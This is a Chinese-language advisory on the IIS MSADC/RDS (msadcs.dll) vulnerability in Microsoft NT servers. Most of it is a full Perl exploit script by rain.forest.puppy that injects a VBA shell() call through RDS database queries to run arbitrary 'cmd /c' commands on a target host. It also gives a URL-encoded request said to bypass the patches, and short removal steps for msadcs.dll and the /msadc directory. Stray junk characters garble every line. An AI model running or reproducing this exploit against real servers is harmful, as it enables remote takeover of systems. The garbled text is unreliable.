IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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N; y\k#83aU| 涉及程序:
opqY@>Vh& Microsoft NT server
\SKobO?qI wl7G6Y2 描述:
Lh\ 1L 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
wwUa+6? (ZSd7qH" 详细:
_Oc5g5_{ 如果你没有时间读详细内容的话,就删除:
-?nr q <3 c:\Program Files\Common Files\System\Msadc\msadcs.dll
O/ybqU\7 有关的安全问题就没有了。
t\S=u y xl>8B/Zmf# 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
kn%i#Fz Y].,}}9k 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
$\Oc]% 关于利用ODBC远程漏洞的描述,请参看:
A{|^_1 17la/7l< http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ]-g9dV_[>j e|>
5
R 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
(P'{A>aHl0 http://www.microsoft.com/security/bulletins/MS99-025faq.asp bY&!d. 8n??/VDRl 这里不再论述。
X)Zc*9XA |r['"6
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
XCvL` _3%eIyk4T /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
uHeKttR- 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
SFJ"(ey$ lV".-:u_ q]Vxf!0*> #将下面这段保存为txt文件,然后: "perl -x 文件名"
J~}sQ{ 0 ANWfRtiU# #!perl
z>]P_E~`} #
fQQj2>3w # MSADC/RDS 'usage' (aka exploit) script
;-kC&GZf #
R`KlG/Tk # by rain.forest.puppy
` {/"?s| #
?mwa6] # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Y#[xX2z9 # beta test and find errors!
D,\hRQ cXw8#M! use Socket; use Getopt::Std;
Lo,uH`qU getopts("e:vd:h:XR", \%args);
{^":^N) 0uL*-/| print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
>)^Q p- cS#yfN, if (!defined $args{h} && !defined $args{R}) {
T{:8,CiW print qq~
U'@#n2p:k Usage: msadc.pl -h <host> { -d <delay> -X -v }
+N}yqgE -h <host> = host you want to scan (ip or domain)
8Wba Hw_ -d <seconds> = delay between calls, default 1 second
Uz=OTM -X = dump Index Server path table, if available
\r1nMw 3& -v = verbose
LIE5of -e = external dictionary file for step 5
d0V*[{ w~4T.l#1 Or a -R will resume a command session
I9Lt>*
X6<Ds'I ~; exit;}
l#IN)">1 YJGP8 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
otA'+4\ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
G4rd<V0[D if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
^u(-v/D9 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
v`hn9O $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
9+#BU$*v if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
=O%'qUj`q !LM9 if (!defined $args{R}){ $ret = &has_msadc;
FQBE1h@k0u die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~^bf1W[ BdrYc^?JL] print "Please type the NT commandline you want to run (cmd /c assumed):\n"
(<2!^v0.M . "cmd /c ";
qC6@ $in=<STDIN>; chomp $in;
n|fKwWB\ $command="cmd /c " . $in ;
#f@}$@ pz= /A if (defined $args{R}) {&load; exit;}
m*|G2 @4G{L8Q} print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
.cm9&&"Z &try_btcustmr;
o-<XR9,N* m
yy*rt print "\nStep 2: Trying to make our own DSN...";
<&kl:| &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
os n ,kD* +2+|zXmT print "\nStep 3: Trying known DSNs...";
XTJA"y &known_dsn;
"m>BE J@A^k1B print "\nStep 4: Trying known .mdbs...";
Qe =8x7oIP &known_mdb;
v:"Y vddl9"V) if (defined $args{e}){
RK/>5 print "\nStep 5: Trying dictionary of DSN names...";
<UY9<o &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
IdoS6 5,|of{8 print "Sorry Charley...maybe next time?\n";
<m/XGFc exit;
?$MO! xFcW%m>9C ##############################################################################
{A~3/M%74; wbB\~*Z) sub sendraw { # ripped and modded from whisker
[0D.+("EW sleep($delay); # it's a DoS on the server! At least on mine...
v}\Fbe my ($pstr)=@_;
Ap~6Vu socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@^%YOorr die("Socket problems\n");
FqZD'Uu7 if(connect(S,pack "SnA4x8",2,80,$target)){
a4XK.[O select(S); $|=1;
=zR9^k print $pstr; my @in=<S>;
Gd`s01GKQ select(STDOUT); close(S);
ydMhb367| return @in;
JQ|*XU } else { die("Can't connect...\n"); }}
Z+=WICI/2 >,.\`.0 ##############################################################################
'|}H,I{ /.(~=6o5 sub make_header { # make the HTTP request
dt0(04 my $msadc=<<EOT
7pN&fAtj/ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
n\< uT1n User-Agent: ACTIVEDATA
dXPTW;w Host: $ip
{mY=LaS< Content-Length: $clen
LVy`U07C V Connection: Keep-Alive
eM]>" vR
(nd ADCClientVersion:01.06
vuZ'Wo:S{ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
7[0<,O6Q ?w&?P}e + --!ADM!ROX!YOUR!WORLD!
J3XG?'
} Content-Type: application/x-varg
ve\@u@K^ Content-Length: $reqlen
..x2 P'<j<h6 EOT
J\FLIw4 ; $msadc=~s/\n/\r\n/g;
oBs5xH7@- return $msadc;}
:;;k+Sw3 a^Z=xlJ/uZ ##############################################################################
0EasPbp >%5GMx>m sub make_req { # make the RDS request
lk[u my ($switch, $p1, $p2)=@_;
s)Xz}QPK. my $req=""; my $t1, $t2, $query, $dsn;
']d(m? o=-Af|#b if ($switch==1){ # this is the btcustmr.mdb query
2*V]jO $query="Select * from Customers where City=" . make_shell();
!}5+hj!6 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Vh^ :.y $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
'J)9# ;I6C`N elsif ($switch==2){ # this is general make table query
@vL0gzE?nB $query="create table AZZ (B int, C varchar(10))";
y4VO\N!
$dsn="$p1";}
VtMnLFMw $
nMx#~>a elsif ($switch==3){ # this is general exploit table query
r?|(t? $query="select * from AZZ where C=" . make_shell();
g-H,*^g+ $dsn="$p1";}
QVah4wFL*. b~{nS,_Rn elsif ($switch==4){ # attempt to hork file info from index server
^)o]hE| $query="select path from scope()";
*\_>=sS x; $dsn="Provider=MSIDXS;";}
IpM"k)HR )NTpb elsif ($switch==5){ # bad query
XjmAM/H4 $query="select";
eep/96G
? $dsn="$p1";}
%TO& L8oqlq(
9 $t1= make_unicode($query);
fl40jo] $t2= make_unicode($dsn);
8@){\.M $req = "\x02\x00\x03\x00";
.J=QWfqt $req.= "\x08\x00" . pack ("S1", length($t1));
Ba t@ $req.= "\x00\x00" . $t1 ;
>;#rK@*& $req.= "\x08\x00" . pack ("S1", length($t2));
'+GY6Ecg $req.= "\x00\x00" . $t2 ;
O_ vH w^ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
xiL+s- return $req;}
sGh TP/ ~fs}
J ##############################################################################
#ApmJLeCO cEn|Q sub make_shell { # this makes the shell() statement
#Zi6N return "'|shell(\"$command\")|'";}
]AZCf`7/? 6G(K8Q{> ##############################################################################
.yHK (4IP&^j:\ sub make_unicode { # quick little function to convert to unicode
;kZJnN"y my ($in)=@_; my $out;
^E)8Sb9t for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Galh _;= return $out;}
?0-3J )kW `=Rxnl,<U ##############################################################################
=`2jnvx A'"J'q*t sub rdo_success { # checks for RDO return success (this is kludge)
~Q]/=HK my (@in) = @_; my $base=content_start(@in);
I]42R;Sc if($in[$base]=~/multipart\/mixed/){
q"WfKz!U return 1 if( $in[$base+10]=~/^\x09\x00/ );}
|+Z-'k~Q return 0;}
Ir(U7D YS<KyTb" ##############################################################################
}9 N-2] b8[
ayy sub make_dsn { # this makes a DSN for us
sxdDI?W4 my @drives=("c","d","e","f");
ma/<#l^} print "\nMaking DSN: ";
c Y+n 6k5 foreach $drive (@drives) {
NC YOY print "$drive: ";
bZZ_yc my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
mnw(x#%P "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
$7-S\sDr . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
-
/cf3 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
ks,d4b=-> return 0 if $2 eq "404"; # not found/doesn't exist
h\5~&}Hp if($2 eq "200") {
m63>P4h? foreach $line (@results) {
hpq\ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Bsk` e } return 0;}
dp2FC xCyD0^KY ##############################################################################
F>?~4y,b7 "*TP@X?@f sub verify_exists {
,Ww.W'#P my ($page)=@_;
bIzBY+P my @results=sendraw("GET $page HTTP/1.0\n\n");
&'/bnN +R return $results[0];}
y'<5P~W!a P,#l~ \ ##############################################################################
: H]MMe LG{50sP` sub try_btcustmr {
2_Zn?#G8dl my @drives=("c","d","e","f");
@PK
1 my @dirs=("winnt","winnt35","winnt351","win","windows");
iQgr8[
SFf +(`.pa z@ foreach $dir (@dirs) {
Gz--C( print "$dir -> "; # fun status so you can see progress
HcV,r,>e foreach $drive (@drives) {
?B`c<H"
print "$drive: "; # ditto
.3wx}!:*| $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Ci[Ja#p7$h $reqlenlen=length( "$reqlen" );
!
GtF%V $clen= 206 + $reqlenlen + $reqlen;
-I z,vd :c(I-xif my @results=sendraw(make_header() . make_req(1,$drive,$dir));
dsK*YY jH if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
]4'V59\ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
q4vHsy36 '$4&q629d ##############################################################################
dIA1\;@ [(vV45(E sub odbc_error {
NFG~PZ`6R my (@in)=@_; my $base;
X@/wsW(kM\ my $base = content_start(@in);
q9\(<<f| if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
:3b\ pEO9\ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
.$+,Y4q~( $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Ax9A-| $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3GMrdG?Y return $in[$base+4].$in[$base+5].$in[$base+6];}
76u\#{5 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
'*`1uomeo print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
zQB1C $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
T:!H^ sdKm@p|/| ##############################################################################
fF5\\_, "y ;0}9]n1 sub verbose {
K]^Jl0 my ($in)=@_;
XAB/S8 e return if !$verbose;
#8%~ u+"N print STDOUT "\n$in\n";}
821
6_Qm [t*-s1cq ##############################################################################
@# .a5 roIc1Ax: sub save {
!nQoz^_`P my ($p1, $p2, $p3, $p4)=@_;
`2j"Z.= open(OUT, ">rds.save") || print "Problem saving parameters...\n";
3qDuF print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
D}2$n?~+ close OUT;}
PpSQf14, R#ya9GN{ ##############################################################################
;Wn0-`_1, "rrE_ sub load {
hy3?. my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
I@1VX5 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
yJ(ITJE_Z @p=<IN>; close(IN);
H.O&seY $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
y#nyH0U $target= inet_aton($ip) || die("inet_aton problems");
Nig)!4CG print "Resuming to $ip ...";
7!e kINQ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
/g!X[rn7Q if($p[1]==1) {
D6'-c# $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
JP]-a!5Ru $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
8vj]S5 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
aOEW$% if (rdo_success(@results)){print "Success!\n";}
)-i (%;,*e else { print "failed\n"; verbose(odbc_error(@results));}}
FX~pjM elsif ($p[1]==3){
, lBHA+@ if(run_query("$p[3]")){
h0l_9uI print "Success!\n";} else { print "failed\n"; }}
ei[, ug' elsif ($p[1]==4){
(cp$poo if(run_query($drvst . "$p[3]")){
I=k`VI d: print "Success!\n"; } else { print "failed\n"; }}
|jKFk.M exit;}
2p*L~! iM n,p \~Tu, ##############################################################################
U.ew6`'Te hgdr\
F sub create_table {
?~; q r my ($in)=@_;
|e2s{J2 $reqlen=length( make_req(2,$in,"") ) - 28;
fh&Q(:ZU $reqlenlen=length( "$reqlen" );
!6J+# $clen= 206 + $reqlenlen + $reqlen;
wy""02j my @results=sendraw(make_header() . make_req(2,$in,""));
O5JG!bGE_F return 1 if rdo_success(@results);
q=k[]vD my $temp= odbc_error(@results); verbose($temp);
v5L#H=P return 1 if $temp=~/Table 'AZZ' already exists/;
TezwcFqH return 0;}
y*lAmO 9hhYyqGsO ##############################################################################
Oz=!EG|N {dvsZJj sub known_dsn {
.Txwp?}; # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
eM^Y my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"gXvnl "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
#aadnbf "banner", "banners", "ads", "ADCDemo", "ADCTest");
*#B"%;Ln V|;os foreach $dSn (@dsns) {
iv6bXV'N print ".";
%vU*4mH next if (!is_access("DSN=$dSn"));
3`ze<K(( if(create_table("DSN=$dSn")){
_2xYDi print "$dSn successful\n";
okBaQH2lUl if(run_query("DSN=$dSn")){
B,A\/%< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
'~pZj"uy print "Something's borked. Use verbose next time\n";}}} print "\n";}
"':SWKuMx (U*Zz+ R ##############################################################################
oN(F$Nvk ;!<@Fm9W sub is_access {
1tH#QZIT my ($in)=@_;
z|zd=3c $reqlen=length( make_req(5,$in,"") ) - 28;
uJJP<mDgA $reqlenlen=length( "$reqlen" );
DjiWg(X $clen= 206 + $reqlenlen + $reqlen;
=fI0q7]ndz my @results=sendraw(make_header() . make_req(5,$in,""));
bE" J&;| my $temp= odbc_error(@results);
5pq9x4& verbose($temp); return 1 if ($temp=~/Microsoft Access/);
?WrL<?r)}U return 0;}
:;o?d&C ?MJ5GVeH ##############################################################################
w)Y}hlcq 1<wolTf sub run_query {
L$; gf_L my ($in)=@_;
d)v!U+-|' $reqlen=length( make_req(3,$in,"") ) - 28;
R)9FXz$). $reqlenlen=length( "$reqlen" );
>V@,K z1 $clen= 206 + $reqlenlen + $reqlen;
'V*8'? my @results=sendraw(make_header() . make_req(3,$in,""));
~tqNxlA return 1 if rdo_success(@results);
62>/0_m5 my $temp= odbc_error(@results); verbose($temp);
w6'8L s return 0;}
o6S`7uwJ*/ @Hst-H.l<l ##############################################################################
+/Vzw BWsD~Ft sub known_mdb {
$)7Af6xD my @drives=("c","d","e","f","g");
|bjLmGb my @dirs=("winnt","winnt35","winnt351","win","windows");
CfHPJ:Qo[ my $dir, $drive, $mdb;
'h{DjNSM
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[.4D<}e V(n3W=#kky # this is sparse, because I don't know of many
N{fYO4O my @sysmdbs=( "\\catroot\\icatalog.mdb",
$+HS^m "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
4\2~wSr "\\system32\\certmdb.mdb",
cP8@'l@! "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
1)!]zV s_`y"'^ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Bqb3[^;~ "\\cfusion\\cfapps\\forums\\forums_.mdb",
M,N(be- "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Ji:0J},m "\\cfusion\\cfapps\\security\\realm_.mdb",
}/Y)^ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
8?k.4{? "\\cfusion\\database\\cfexamples.mdb",
Y^uYc} "\\cfusion\\database\\cfsnippets.mdb",
8j!(*'J. "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
IeJ@G) "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
"C [uz& "\\cfusion\\brighttiger\\database\\cleam.mdb",
]\:l>< "\\cfusion\\database\\smpolicy.mdb",
-!ERe@k( "\\cfusion\\database\cypress.mdb",
JT 5+d , "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
,
-S n "\\website\\cgi-win\\dbsample.mdb",
o`[X _ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
?a-}1A{
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
XBHv V05mv ); #these are just
Uc|MfxsL foreach $drive (@drives) {
WFpR@53Db foreach $dir (@dirs){
ktK/s!bgY foreach $mdb (@sysmdbs) {
0d=<^wLi^ print ".";
v:@ud,d< if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
R$VeD1n@ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
}F
(lffb if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
+PkN~m` print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
\(xQ'AQ- } else { print "Something's borked. Use verbose next time\n"; }}}}}
v7-
d+P= @EcY&mP) foreach $drive (@drives) {
c)=UX_S! foreach $mdb (@mdbs) {
[KwwhI@3 print ".";
QjwCY=PK! if(create_table($drv . $drive . $dir . $mdb)){
{m<!-B95 print "\n" . $drive . $dir . $mdb . " successful\n";
@GE:<'_:{ if(run_query($drv . $drive . $dir . $mdb)){
cOEzS print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
FI(M 1iJ } else { print "Something's borked. Use verbose next time\n"; }}}}
U>_#,j }
9:6d,^X GE.@*W ##############################################################################
N_>}UhZ rzgzX sub hork_idx {
Zu %oIk print "\nAttempting to dump Index Server tables...\n";
%uhhQ<zs% print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
RlTVx: $reqlen=length( make_req(4,"","") ) - 28;
)ur&Mnmm $reqlenlen=length( "$reqlen" );
X+XbIbUuL $clen= 206 + $reqlenlen + $reqlen;
MBH/,Yd my @results=sendraw2(make_header() . make_req(4,"",""));
&b&o];a if (rdo_success(@results)){
y2Z1B2E%f my $max=@results; my $c; my %d;
vR"<:r47? for($c=19; $c<$max; $c++){
hTbot^/ $results[$c]=~s/\x00//g;
q CB9z $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
mPo] .z $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
_a=f.I $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
\78kShx $d{"$1$2"}="";}
T?E[LzZg foreach $c (keys %d){ print "$c\n"; }
ZI#Xh5 } else {print "Index server doesn't seem to be installed.\n"; }}
:7Q,
`W9 b(H)8#C ##############################################################################
R!LKGiN kXbdR sub dsn_dict {
7%4@* open(IN, "<$args{e}") || die("Can't open external dictionary\n");
1
+'HKT} while(<IN>){
bwAL: $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
T3
k#6N. next if (!is_access("DSN=$dSn"));
mF !=H% if(create_table("DSN=$dSn")){
CiGN?1| print "$dSn successful\n";
3
,?==? if(run_query("DSN=$dSn")){
Aw *:5 I[ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
in6iJ*E@' print "Something's borked. Use verbose next time\n";}}}
VG`A* Vj
print "\n"; close(IN);}
.U !;fJ9 3
e9fziQ~ ##############################################################################
=F}e>D
*oX~z>aE sub sendraw2 { # ripped and modded from whisker
)WFSUZ~ sleep($delay); # it's a DoS on the server! At least on mine...
zdUi1 b my ($pstr)=@_;
RycO8z*p socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
F-n1J?4b die("Socket problems\n");
'Kj8X{BSFb if(connect(S,pack "SnA4x8",2,80,$target)){
\;A\ vQ[ print "Connected. Getting data";
D0&{iZ( open(OUT,">raw.out"); my @in;
z[wk-a+w select(S); $|=1; print $pstr;
Kv:ih=? while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
[2,u:0 " close(OUT); select(STDOUT); close(S); return @in;
V-w[\u } else { die("Can't connect...\n"); }}
1xo<V5 prY9SQd ##############################################################################
]X)EO49 ^MWfFpJV!] sub content_start { # this will take in the server headers
}f6x> my (@in)=@_; my $c;
1v&!`^G99j for ($c=1;$c<500;$c++) {
? I}T[j if($in[$c] =~/^\x0d\x0a/){
z
{J1pH_X if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
a;Y9wn else { return $c+1; }}}
$*H>n!& return -1;} # it should never get here actually
LHWh-h(s A4?_0:< ##############################################################################
&~Q ?k JPk3T.qp sub funky {
Q=9S?p
M my (@in)=@_; my $error=odbc_error(@in);
.0q %A1H if($error=~/ADO could not find the specified provider/){
[J+K4o8L<A print "\nServer returned an ADO miscofiguration message\nAborting.\n";
"t"=9:_t exit;}
L$x/T3@ if($error=~/A Handler is required/){
`#X{. print "\nServer has custom handler filters (they most likely are patched)\n";
yREO;m|o exit;}
n6nwda if($error=~/specified Handler has denied Access/){
c"J(? 1O print "\nServer has custom handler filters (they most likely are patched)\n";
%;PPu$8K9 exit;}}
qD4e] 5 ^dP@QMly6 ##############################################################################
R#bg{| o=_4v^ sub has_msadc {
<..%@]+ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
f|FQd3o) my $base=content_start(@results);
_wf"E(c3D return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
/7h%sCX return 0;}
|P2GL3NR ^ :Q |,oy ########################
'
n~N*DH h3xX26l 6SsZK)X 解决方案:
t Q_}o[ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
M42D5|tZc 2、移除web 目录: /msadc